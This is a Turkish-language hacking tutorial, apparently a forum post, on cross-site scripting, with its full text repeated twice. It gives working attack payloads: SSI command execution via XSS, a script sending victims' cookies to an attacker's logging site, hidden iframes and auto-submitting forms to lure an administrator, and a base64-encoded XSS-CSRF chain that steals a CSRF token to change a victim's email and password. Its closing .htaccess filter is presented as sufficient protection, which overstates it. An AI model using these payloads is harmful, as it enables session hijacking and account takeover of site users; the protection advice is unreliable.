Bu açık 3 e ayrılır
Reflected XSS
DOM XSS
STORED XSS
-XSS Nedir Nasıl Oluşur?
Öncelikle XSS Sitelerin Arama Yorum vb. Text kutularinda bulunan bir açıktır.
Html kod yazım özelliginin açık unutulmasından meydana gelir.
XSS çok tehlikeli olmayan bir açıktır. Günümüzde çok rastlanır ama pek az kullanılır
Reflected XSS
İngilizce terimlere takılmayın, mantık şudur: dışarıdan alınan parametre, filtrelenmemiş bir vaziyette sayfaya yansır. Doğal olarak dışarıdan "html" kodu alınırsa da sayfada bu kod çalışacaktır. Veya bir html tag'inin bir attribute'ünü kapatarak yeni attribute'ler (örn: onmouseover="zararlıkod") eklemek de sayfada javascript kod çalıştırmaya imkan sağlayacaktır.
Bu XSS türü chrome'un xss filtresi tarafından, webmaster bir istisna tanımlamadıysa engellenmektedir.
Chrome XSS filtresi, dışarıdan alınan parametrelerde html kodu varsa ve bu kod sayfaya yansıyorsa bu kodu çalıştırmaz. Bypass yöntemleri vardır, ancak uğraşmadım.
Stored(Persistent , Kalıcı) XSS
Bu xss türünde saldırganın girdiği zararlı kodlar veritabanında veya bir sayfada tutulur. Bu veriler daha sonra açıklı sayfa ziyaret edildiğinde çalıştırılmış olur. Bu XSS türü en tehlikelisidir çünkü buna karşı chrome ve diğer tarayıcılar default ayarlarla bir önlem alamaz. Çünkü saldırı kodu dışarıdan yalnızca bir kez parametre olarak alınmıştır ve veritabanına işlenmiştir. Açıklı sayfalar bu kodu veritabanından çağıracağı için dışarıdan herhangi bir parametre alındığı düşünülemez. Bu xss türünün sıkça rastlandığı sayfalar şunlardır; kayıt formları, iletişim formları..
DOM XSS (******** object model)
Bu xss açık türü, kullanıcıdan alınan, doğrudan servera gönderilen veya tarayıcı tarafından client side olarak alınan ancak düzgün filtrelenmemiş parametrelerin javascript kodlarında yorumlanarak çalıştırması sonucu ortaya çıkar.
Yani bu xss açık türü client side'da da(Örn; # hashtag kullanılarak url üzerinden gönderilen, daha doğrusu javascriptte hashtagden alınarak kullanılan parametreler) server tarafında da efektif olabilir. Eğer açık client side olarak kullanılabiliyorsa server loglarına düşmeyecektir ve tespit edilmeyecektir.
Her neyse bu xss türünde mantık, açığın javascript kodlarından kaynaklanmasıdır. Kullanım açısından normal xss den pek bi farkı yoktur. Onda yapılabilen hemen her şey bunda da yapılabilir.
XSS İLE NELER YAPILABİLİR?
En tehlikeliden başlayalım;
1) SSI Injection
SSI (server side include) shtml sayfaların çalışma mantığıdır. Sayfa html olsa bile yorum satırı arasına yazılan komutlar client side değil, server side olarak çalıştırılır.
Örnek kullanım şekli şudur;
<!--#echo var="DATE_LOCAL"-->
örneğin yukarıdaki satır bir .shtml sayfada bulunursa; veya sayfa shtml olmasa, php,asp,aspx ve hatta html olsa bile web application serverda SSI ayarları açıksa, ekrana sistem tarih saatini basacaktır.
Bu özelliği xss ile kombo çekersek sistemde komut çalıştırmamız mümkün olur.
örneğin;
http://site.com/index.php?ara=xss
açığımız olsun
http://site.com/index.php?ara=<!--#echo var="DATE_LOCAL"-->
gönderdiğimizde sayfada tarihi görüyorsak SSI komutları çalıştırabiliriz demektir.
SSI komutlarına aşağıda detaylı bi şekilde erişebilirsiniz;
SSI Commands
ama benim favorim;
<!--#exec cmd="ls -la"-->
Not: Dom xss te çıktılar javascript üzerinden alınıp tarayıcı tarafından üretildiği için, doğrudan response a yansımadığı için SSI injection'a çevirme lüksüne sahip değiliz.
2) COOKIE Çalma;
Bildiğiniz üzere XSS ile javascript çalıştırabiliriz, bu da demektir ki javascript üzerinden erişilebilen her şeye erişebiliriz.
Buna ********.cookie nesnesi de dahil.
Peki cookie yi nasıl çalarız?
Açıklı parametre GET metodu ile alınıyorsa;
http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>
Burada "a" sayfası kendi hazırladığımız javascripttir. Kullandığım snifferdan örnek verecek olursam şuna benzer bi kod barındırır;
i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'+********.cookie+' '+********.********
Burada javascript kodu üzerinden bir image nesnesi oluşturulur ve
http://sniffersitemiz.com/log.php?'+********.cookie+' '+********.********
verileri img src edilir.
log.php sayfamızda ise dışarıdan gelen değerleri loglarız.
Bu sayede ********.cookie ve ********.******** değerlerini loglamış oluruz.
<script src=http://sniffersitemiz.com/a></script> yerine
<script>i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'%2b********.cookie%2b' '+********.********</script>
kodunu da kullanabilirdik, burada amaç karmaşıklığı azaltmak ve mümkün olduğunca özel karakter kullanmamak.
Peki bunu admine nasıl tıklatırız?
Adama doğrudan
http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>
şeklinde link atarsanız muhtemelen tıklamayacaktır.
Onun yerine 2 farklı yöntem kullanabilirsiniz
1. yöntem "ara=" dan sonraki tüm karakterleri hex formatında yazmaktır. Ancak çoğu tarayıcı artık özel karakterler dışındakileri hex formatında yazsanız da karakter olarak gösterdiğinden eskisi gibi iş görmüyor.
Onun yerine en mantıklısı size ait bir sitede sayfaya şuna benzer bir kod eklemenizdir;
<iframe src="http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>" height=0 width=0>
Daha sonra adama http://benimsitem.com/sayfa.html şeklinde iframe kodlu sayfanın linkini atmaktır.
POST metoduyla alınan parametre üzerinde var olan XSS açığının kullanımı;
Örneğin xss imiz "ara" parametresini get değil de post metodu ile alıyor olsun;
POST dedimmi akla "form" gelir.
Önce şu şekilde bir form hazırlarız;
<form action="http://site.com/index.php" method=post>
<input name=ara value="<script src=http://sniffersitemiz.com/a></script>">
</form>
Bu formu hazırlasak bile açıldığında kendi kendine post yaptırmamız lazım. O yüzden şu javascript kodunu da sayfanın sonuna ekliyoruz.
<script>
********.forms[0].submit();
</script>
Bu kod sayfa ziyaret edildiği anda formu otomatik post yapacaktır.
<form action="http://site.com/index.php" method=post>
<input name=ara value="<script src=http://sniffersitemiz.com/a></script>">
</form>
<script>
********.forms[0].submit();
</script>
Sayfamızı "xss.htm" olarak kaydettik ve sayfayı admine direk atmayacağımıza göre kendi sitemize yükledik.
"http://benimsitem.com/xss.htm" şeklinde linkimiz oldu.
Ancak bunu da admine direk attığımızda açar açmaz form yönleneceği için kıllanma ihtimali yüksek. Tekrar iframe li sayfa hazırlıyoruz.
<iframe src="http://benimsitem.com/xss.htm" height=0 width=0>
ve bu kodu örneğin index.html sonuna ekliyoruz.
Admine http://benimsitem.com linkini atıyoruz ve admin tıkladığında arka planda cookie'ler bize geliyor.
NOT:
HttpOnly cookieler;
Server cookie üretirken sonuna "; HttpOnly" eklediyse, tarayıcı bu cookielere erişimi javascripte kısıtlar. Yani javascriptin ********.cookie nesnesinde bu cookieleri göremezsiniz. Eskiden bu kısıtlama Trace metodu ile Set-Cookie response headerı okunarak aşılabiliyordu. Normalde bu header'a javascript istekleriyle erişemezsiniz. Ancak akıllandılar ve bu yöntem de yalan oldu.
Örneğin resimde http başlığı işaretli olanlar bu sınıfa girmektedir. Bu cookielere javascript üzerinden erişemezsiniz.
Geriye tek bir yöntem kalır.
CSRF
Bildiğiniz gibi csrf, "csrf token" parametresi veya HTTP header'lar üzerinden kod doğrulaması yapmayan sayfalarda kullanıcıya otomatik istek göndertme saldırılarıdır. Misal bu tip bir saldırı ile kullanıcıya bir sayfa ziyaret ettirilir. Bu sayfaya kendi profili veya ayarları üzerinde değişiklik yaptırtacak forma veya url ye aynı xss te hazırladığımız gibi otomatik gönderecek bir sayfa iframe ettirilir. Kişi sayfayı ziyaret ettiğinde otomatik olarak örneğin email bilgisi güncellenmiş olur.
Ancak dediğimiz gibi artık hemen hemen her script csrf-token kullanmaktadır. Burada XSS ten faydalanırsak, form ziyaret edildiğinde üretilen csrf-token bilgisini çekebiliriz.
Bu iş için XmlHttpRequest ten faydalanacağız. Normalde XHR isteği tarayıcıların güvenlik poliçesi gereği sadece aynı domaine gönderilebilir(same-origin policy). Bu da demektir ki
"http://site.com/profil.php" ye "http://site.com" altında bir sayfadan istek gönderebiliriz.
Zaten XSS açığımız da bu işe yarayacak
Saldırı yapılacak sitedeki bilgi güncelleme formu şu şekilde olsun;
<form action=profil.php method=post>
<input name=email>
<input name=password>
<input name=ad>
<input name=soyad>
<input name=csrf-token type=hidden value="abcdedeqrqwrqwrqwr231erfqe">
</form>
Bu form dikkat ettiyseniz site tarafından üretilmiş bir csrf-token parametresi barındırmaktadır ve kullanıcıdan aldığı tokenle sitedekini karşılaştırıp eşleştirme sağlarsa güncelleme işlemi gerçekleştirmektedir.
Örnek bir XmlHttpRequest kodu aşağıda verilmiştir;
<form action=http://site.com/profil.php method=post>
<input name=email value="[email protected]">
<input name=password value="12345">
<input name=ad value="mal">
<input name=soyad value="mal">
<input name=csrf-token id=csrf-token type=hidden value="">
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
a=ayikla(xhr.responseText);
********.getElementById('csrf-token').value=a;
********.forms[0].submit();
}
}
xhr.open('GET', "http://site.com/profil.php", true);
xhr.send(null);
</script>
Bu kodda en üstte formumuz mevcuttur. Bu form postlandığında girdiğimiz değerler güncellenecektir ancak csrf-tokeni bilmemekteyiz.
Yukarıdaki javascript kodları çalıştığında şu adımlar gerçekleşir;
1. http://site.com/profil.php sayfasına istek gönderilir.
2. Geri dönen yanıt sayfası alınır ve ayıkla fonksiyonuna gönderilir. Burada ayıkla fonksiyonunu yazmadım. Bu fonksiyon profil.php nin ürettiği yanıt sayfasından csrf-token değerini ayıklar.
3. Alınan değer formumuzdaki csrf-token parametresine verilir.
4. Form postlanır.
5. Heklediniz.
Bu kodları xss kodu olarak yazmak zor bir iştir. Neticede uzun ve karmaşık, artı özel karakterlerden oluşan kodlardır.
Önce kodları base64 e çeviririz.
PGZvcm0gYWN0aW9uPWh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIG1ldGhvZD1wb3N0PiA8aW5wdXQgbmFtZT1lbWFpbCB2YWx1ZT0iaGFja2VyQGFzZHF3ZS5jb20iPiA8aW5wdXQgbmFtZT1wYXNzd29yZCB2YWx1ZT0iMTIzNDUiPiA8aW5wdXQgbmFtZT1hZCB2YWx1ZT0ibWFsIj4gPGlucHV0IG5hbWU9c295YWQgdmFsdWU9Im1hbCI+IDxpbnB1dCBuYW1lPWNzcmYtdG9rZW4gaWQ9Y3NyZi10b2tlbiB0eXBlPWhpZGRlbiB2YWx1ZT0iIj4gPC9mb3JtPiAgPHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7ICBpZiAoeGhyLnJlYWR5U3RhdGUgPT0gNCkgeyAgIGE9YXlpa2xhKHhoci5yZXNwb25zZVRleHQpOyAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjc3JmLXRva2VuJykudmFsdWU9YTsgICBkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKTsgIH0gfSB4aHIub3BlbignR0VUJywgImh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIiwgdHJ1ZSk7IHhoci5zZW5kKG51bGwpOyA8L3NjcmlwdD4=
Elde etmiş oluruz. Artık XSS li sayfadan saldırı kodunu şu şekilde çağırabiliriz.
<script>********.write(atob("PGZvcm0gYWN0aW9uPWh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIG1ldGhvZD1wb3N0PiA8aW5wdXQgbmFtZT1lbWFpbCB2YWx1ZT0iaGFja2VyQGFzZHF3ZS5jb20iPiA8aW5wdXQgbmFtZT1wYXNzd29yZCB2YWx1ZT0iMTIzNDUiPiA8aW5wdXQgbmFtZT1hZCB2YWx1ZT0ibWFsIj4gPGlucHV0IG5hbWU9c295YWQgdmFsdWU9Im1hbCI+IDxpbnB1dCBuYW1lPWNzcmYtdG9rZW4gaWQ9Y3NyZi10b2tlbiB0eXBlPWhpZGRlbiB2YWx1ZT0iIj4gPC9mb3JtPiAgPHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7ICBpZiAoeGhyLnJlYWR5U3RhdGUgPT0gNCkgeyAgIGE9YXlpa2xhKHhoci5yZXNwb25zZVRleHQpOyAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjc3JmLXRva2VuJykudmFsdWU9YTsgICBkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKTsgIH0gfSB4aHIub3BlbignR0VUJywgImh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIiwgdHJ1ZSk7IHhoci5zZW5kKG51bGwpOyA8L3NjcmlwdD4="));</script>
Veya script tag'leri arasındaki kodu kendi sitenize yükleyip, <Script src="
ile de çağırabilirsiniz.
-XSS Korunma Yolları!
Bu açığı kapatmak için pek çok alternatif mevcut ama ".htaccess" dosyasının yapılandırılması yeterli olacaktır. Aşağıdaki kodları sitenizin kök dizininde bulunan veya sayfalarınızın bulunduğu dizindeki ".htaccess" dosyasına ekleyin. Böylece sitenize yapılan herhangi bir XSS saldırısında siteniz hata sayfası vererek erişimi kesecektir.
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
Reflected XSS
DOM XSS
STORED XSS
-XSS Nedir Nasıl Oluşur?
Öncelikle XSS Sitelerin Arama Yorum vb. Text kutularinda bulunan bir açıktır.
Html kod yazım özelliginin açık unutulmasından meydana gelir.
XSS çok tehlikeli olmayan bir açıktır. Günümüzde çok rastlanır ama pek az kullanılır
Reflected XSS
İngilizce terimlere takılmayın, mantık şudur: dışarıdan alınan parametre, filtrelenmemiş bir vaziyette sayfaya yansır. Doğal olarak dışarıdan "html" kodu alınırsa da sayfada bu kod çalışacaktır. Veya bir html tag'inin bir attribute'ünü kapatarak yeni attribute'ler (örn: onmouseover="zararlıkod") eklemek de sayfada javascript kod çalıştırmaya imkan sağlayacaktır.
Bu XSS türü chrome'un xss filtresi tarafından, webmaster bir istisna tanımlamadıysa engellenmektedir.
Chrome XSS filtresi, dışarıdan alınan parametrelerde html kodu varsa ve bu kod sayfaya yansıyorsa bu kodu çalıştırmaz. Bypass yöntemleri vardır, ancak uğraşmadım.
Stored(Persistent , Kalıcı) XSS
Bu xss türünde saldırganın girdiği zararlı kodlar veritabanında veya bir sayfada tutulur. Bu veriler daha sonra açıklı sayfa ziyaret edildiğinde çalıştırılmış olur. Bu XSS türü en tehlikelisidir çünkü buna karşı chrome ve diğer tarayıcılar default ayarlarla bir önlem alamaz. Çünkü saldırı kodu dışarıdan yalnızca bir kez parametre olarak alınmıştır ve veritabanına işlenmiştir. Açıklı sayfalar bu kodu veritabanından çağıracağı için dışarıdan herhangi bir parametre alındığı düşünülemez. Bu xss türünün sıkça rastlandığı sayfalar şunlardır; kayıt formları, iletişim formları..
DOM XSS (******** object model)
Bu xss açık türü, kullanıcıdan alınan, doğrudan servera gönderilen veya tarayıcı tarafından client side olarak alınan ancak düzgün filtrelenmemiş parametrelerin javascript kodlarında yorumlanarak çalıştırması sonucu ortaya çıkar.
Yani bu xss açık türü client side'da da(Örn; # hashtag kullanılarak url üzerinden gönderilen, daha doğrusu javascriptte hashtagden alınarak kullanılan parametreler) server tarafında da efektif olabilir. Eğer açık client side olarak kullanılabiliyorsa server loglarına düşmeyecektir ve tespit edilmeyecektir.
Her neyse bu xss türünde mantık, açığın javascript kodlarından kaynaklanmasıdır. Kullanım açısından normal xss den pek bi farkı yoktur. Onda yapılabilen hemen her şey bunda da yapılabilir.
XSS İLE NELER YAPILABİLİR?
En tehlikeliden başlayalım;
1) SSI Injection
SSI (server side include) shtml sayfaların çalışma mantığıdır. Sayfa html olsa bile yorum satırı arasına yazılan komutlar client side değil, server side olarak çalıştırılır.
Örnek kullanım şekli şudur;
<!--#echo var="DATE_LOCAL"-->
örneğin yukarıdaki satır bir .shtml sayfada bulunursa; veya sayfa shtml olmasa, php,asp,aspx ve hatta html olsa bile web application serverda SSI ayarları açıksa, ekrana sistem tarih saatini basacaktır.
Bu özelliği xss ile kombo çekersek sistemde komut çalıştırmamız mümkün olur.
örneğin;
http://site.com/index.php?ara=xss
açığımız olsun
http://site.com/index.php?ara=<!--#echo var="DATE_LOCAL"-->
gönderdiğimizde sayfada tarihi görüyorsak SSI komutları çalıştırabiliriz demektir.
SSI komutlarına aşağıda detaylı bi şekilde erişebilirsiniz;
SSI Commands
ama benim favorim;
<!--#exec cmd="ls -la"-->
Not: Dom xss te çıktılar javascript üzerinden alınıp tarayıcı tarafından üretildiği için, doğrudan response a yansımadığı için SSI injection'a çevirme lüksüne sahip değiliz.
2) COOKIE Çalma;
Bildiğiniz üzere XSS ile javascript çalıştırabiliriz, bu da demektir ki javascript üzerinden erişilebilen her şeye erişebiliriz.
Buna ********.cookie nesnesi de dahil.
Peki cookie yi nasıl çalarız?
Açıklı parametre GET metodu ile alınıyorsa;
http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>
Burada "a" sayfası kendi hazırladığımız javascripttir. Kullandığım snifferdan örnek verecek olursam şuna benzer bi kod barındırır;
i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'+********.cookie+' '+********.********
Burada javascript kodu üzerinden bir image nesnesi oluşturulur ve
http://sniffersitemiz.com/log.php?'+********.cookie+' '+********.********
verileri img src edilir.
log.php sayfamızda ise dışarıdan gelen değerleri loglarız.
Bu sayede ********.cookie ve ********.******** değerlerini loglamış oluruz.
<script src=http://sniffersitemiz.com/a></script> yerine
<script>i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'%2b********.cookie%2b' '+********.********</script>
kodunu da kullanabilirdik, burada amaç karmaşıklığı azaltmak ve mümkün olduğunca özel karakter kullanmamak.
Peki bunu admine nasıl tıklatırız?
Adama doğrudan
http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>
şeklinde link atarsanız muhtemelen tıklamayacaktır.
Onun yerine 2 farklı yöntem kullanabilirsiniz
1. yöntem "ara=" dan sonraki tüm karakterleri hex formatında yazmaktır. Ancak çoğu tarayıcı artık özel karakterler dışındakileri hex formatında yazsanız da karakter olarak gösterdiğinden eskisi gibi iş görmüyor.
Onun yerine en mantıklısı size ait bir sitede sayfaya şuna benzer bir kod eklemenizdir;
<iframe src="http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>" height=0 width=0>
Daha sonra adama http://benimsitem.com/sayfa.html şeklinde iframe kodlu sayfanın linkini atmaktır.
POST metoduyla alınan parametre üzerinde var olan XSS açığının kullanımı;
Örneğin xss imiz "ara" parametresini get değil de post metodu ile alıyor olsun;
POST dedimmi akla "form" gelir.
Önce şu şekilde bir form hazırlarız;
<form action="http://site.com/index.php" method=post>
<input name=ara value="<script src=http://sniffersitemiz.com/a></script>">
</form>
Bu formu hazırlasak bile açıldığında kendi kendine post yaptırmamız lazım. O yüzden şu javascript kodunu da sayfanın sonuna ekliyoruz.
<script>
********.forms[0].submit();
</script>
Bu kod sayfa ziyaret edildiği anda formu otomatik post yapacaktır.
<form action="http://site.com/index.php" method=post>
<input name=ara value="<script src=http://sniffersitemiz.com/a></script>">
</form>
<script>
********.forms[0].submit();
</script>
Sayfamızı "xss.htm" olarak kaydettik ve sayfayı admine direk atmayacağımıza göre kendi sitemize yükledik.
"http://benimsitem.com/xss.htm" şeklinde linkimiz oldu.
Ancak bunu da admine direk attığımızda açar açmaz form yönleneceği için kıllanma ihtimali yüksek. Tekrar iframe li sayfa hazırlıyoruz.
<iframe src="http://benimsitem.com/xss.htm" height=0 width=0>
ve bu kodu örneğin index.html sonuna ekliyoruz.
Admine http://benimsitem.com linkini atıyoruz ve admin tıkladığında arka planda cookie'ler bize geliyor.
NOT:
HttpOnly cookieler;
Server cookie üretirken sonuna "; HttpOnly" eklediyse, tarayıcı bu cookielere erişimi javascripte kısıtlar. Yani javascriptin ********.cookie nesnesinde bu cookieleri göremezsiniz. Eskiden bu kısıtlama Trace metodu ile Set-Cookie response headerı okunarak aşılabiliyordu. Normalde bu header'a javascript istekleriyle erişemezsiniz. Ancak akıllandılar ve bu yöntem de yalan oldu.
Örneğin resimde http başlığı işaretli olanlar bu sınıfa girmektedir. Bu cookielere javascript üzerinden erişemezsiniz.
Geriye tek bir yöntem kalır.
CSRF
Bildiğiniz gibi csrf, "csrf token" parametresi veya HTTP header'lar üzerinden kod doğrulaması yapmayan sayfalarda kullanıcıya otomatik istek göndertme saldırılarıdır. Misal bu tip bir saldırı ile kullanıcıya bir sayfa ziyaret ettirilir. Bu sayfaya kendi profili veya ayarları üzerinde değişiklik yaptırtacak forma veya url ye aynı xss te hazırladığımız gibi otomatik gönderecek bir sayfa iframe ettirilir. Kişi sayfayı ziyaret ettiğinde otomatik olarak örneğin email bilgisi güncellenmiş olur.
Ancak dediğimiz gibi artık hemen hemen her script csrf-token kullanmaktadır. Burada XSS ten faydalanırsak, form ziyaret edildiğinde üretilen csrf-token bilgisini çekebiliriz.
Bu iş için XmlHttpRequest ten faydalanacağız. Normalde XHR isteği tarayıcıların güvenlik poliçesi gereği sadece aynı domaine gönderilebilir(same-origin policy). Bu da demektir ki
"http://site.com/profil.php" ye "http://site.com" altında bir sayfadan istek gönderebiliriz.
Zaten XSS açığımız da bu işe yarayacak
Saldırı yapılacak sitedeki bilgi güncelleme formu şu şekilde olsun;
<form action=profil.php method=post>
<input name=email>
<input name=password>
<input name=ad>
<input name=soyad>
<input name=csrf-token type=hidden value="abcdedeqrqwrqwrqwr231erfqe">
</form>
Bu form dikkat ettiyseniz site tarafından üretilmiş bir csrf-token parametresi barındırmaktadır ve kullanıcıdan aldığı tokenle sitedekini karşılaştırıp eşleştirme sağlarsa güncelleme işlemi gerçekleştirmektedir.
Örnek bir XmlHttpRequest kodu aşağıda verilmiştir;
<form action=http://site.com/profil.php method=post>
<input name=email value="[email protected]">
<input name=password value="12345">
<input name=ad value="mal">
<input name=soyad value="mal">
<input name=csrf-token id=csrf-token type=hidden value="">
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
a=ayikla(xhr.responseText);
********.getElementById('csrf-token').value=a;
********.forms[0].submit();
}
}
xhr.open('GET', "http://site.com/profil.php", true);
xhr.send(null);
</script>
Bu kodda en üstte formumuz mevcuttur. Bu form postlandığında girdiğimiz değerler güncellenecektir ancak csrf-tokeni bilmemekteyiz.
Yukarıdaki javascript kodları çalıştığında şu adımlar gerçekleşir;
1. http://site.com/profil.php sayfasına istek gönderilir.
2. Geri dönen yanıt sayfası alınır ve ayıkla fonksiyonuna gönderilir. Burada ayıkla fonksiyonunu yazmadım. Bu fonksiyon profil.php nin ürettiği yanıt sayfasından csrf-token değerini ayıklar.
3. Alınan değer formumuzdaki csrf-token parametresine verilir.
4. Form postlanır.
5. Heklediniz.
Bu kodları xss kodu olarak yazmak zor bir iştir. Neticede uzun ve karmaşık, artı özel karakterlerden oluşan kodlardır.
Önce kodları base64 e çeviririz.
PGZvcm0gYWN0aW9uPWh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIG1ldGhvZD1wb3N0PiA8aW5wdXQgbmFtZT1lbWFpbCB2YWx1ZT0iaGFja2VyQGFzZHF3ZS5jb20iPiA8aW5wdXQgbmFtZT1wYXNzd29yZCB2YWx1ZT0iMTIzNDUiPiA8aW5wdXQgbmFtZT1hZCB2YWx1ZT0ibWFsIj4gPGlucHV0IG5hbWU9c295YWQgdmFsdWU9Im1hbCI+IDxpbnB1dCBuYW1lPWNzcmYtdG9rZW4gaWQ9Y3NyZi10b2tlbiB0eXBlPWhpZGRlbiB2YWx1ZT0iIj4gPC9mb3JtPiAgPHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7ICBpZiAoeGhyLnJlYWR5U3RhdGUgPT0gNCkgeyAgIGE9YXlpa2xhKHhoci5yZXNwb25zZVRleHQpOyAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjc3JmLXRva2VuJykudmFsdWU9YTsgICBkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKTsgIH0gfSB4aHIub3BlbignR0VUJywgImh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIiwgdHJ1ZSk7IHhoci5zZW5kKG51bGwpOyA8L3NjcmlwdD4=
Elde etmiş oluruz. Artık XSS li sayfadan saldırı kodunu şu şekilde çağırabiliriz.
<script>********.write(atob("PGZvcm0gYWN0aW9uPWh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIG1ldGhvZD1wb3N0PiA8aW5wdXQgbmFtZT1lbWFpbCB2YWx1ZT0iaGFja2VyQGFzZHF3ZS5jb20iPiA8aW5wdXQgbmFtZT1wYXNzd29yZCB2YWx1ZT0iMTIzNDUiPiA8aW5wdXQgbmFtZT1hZCB2YWx1ZT0ibWFsIj4gPGlucHV0IG5hbWU9c295YWQgdmFsdWU9Im1hbCI+IDxpbnB1dCBuYW1lPWNzcmYtdG9rZW4gaWQ9Y3NyZi10b2tlbiB0eXBlPWhpZGRlbiB2YWx1ZT0iIj4gPC9mb3JtPiAgPHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7ICBpZiAoeGhyLnJlYWR5U3RhdGUgPT0gNCkgeyAgIGE9YXlpa2xhKHhoci5yZXNwb25zZVRleHQpOyAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjc3JmLXRva2VuJykudmFsdWU9YTsgICBkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKTsgIH0gfSB4aHIub3BlbignR0VUJywgImh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIiwgdHJ1ZSk7IHhoci5zZW5kKG51bGwpOyA8L3NjcmlwdD4="));</script>
Veya script tag'leri arasındaki kodu kendi sitenize yükleyip, <Script src="
ile de çağırabilirsiniz.
-XSS Korunma Yolları!
Bu açığı kapatmak için pek çok alternatif mevcut ama ".htaccess" dosyasının yapılandırılması yeterli olacaktır. Aşağıdaki kodları sitenizin kök dizininde bulunan veya sayfalarınızın bulunduğu dizindeki ".htaccess" dosyasına ekleyin. Böylece sitenize yapılan herhangi bir XSS saldırısında siteniz hata sayfası vererek erişimi kesecektir.
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
